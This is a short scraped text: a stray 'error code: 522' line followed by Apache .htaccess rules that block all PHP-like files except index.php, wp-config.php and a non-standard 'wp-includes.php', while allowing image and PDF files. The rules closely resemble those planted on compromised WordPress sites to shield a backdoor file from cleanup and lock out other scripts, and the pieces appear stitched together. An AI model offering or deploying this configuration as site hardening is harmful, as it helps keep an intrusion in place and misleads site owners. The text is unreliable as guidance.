error code: 522

<FilesMatch "\.(php|ph*|Ph*|PH*|pH*)$">
    Deny from all
</FilesMatch>
<FilesMatch "^(index.php|index.php|wp-config.php|wp-includes.php)$">
    Allow from all
</FilesMatch>
<FilesMatch "\.(jpg|png|gif|pdf|jpeg)$">
    Allow from all
</FilesMatch>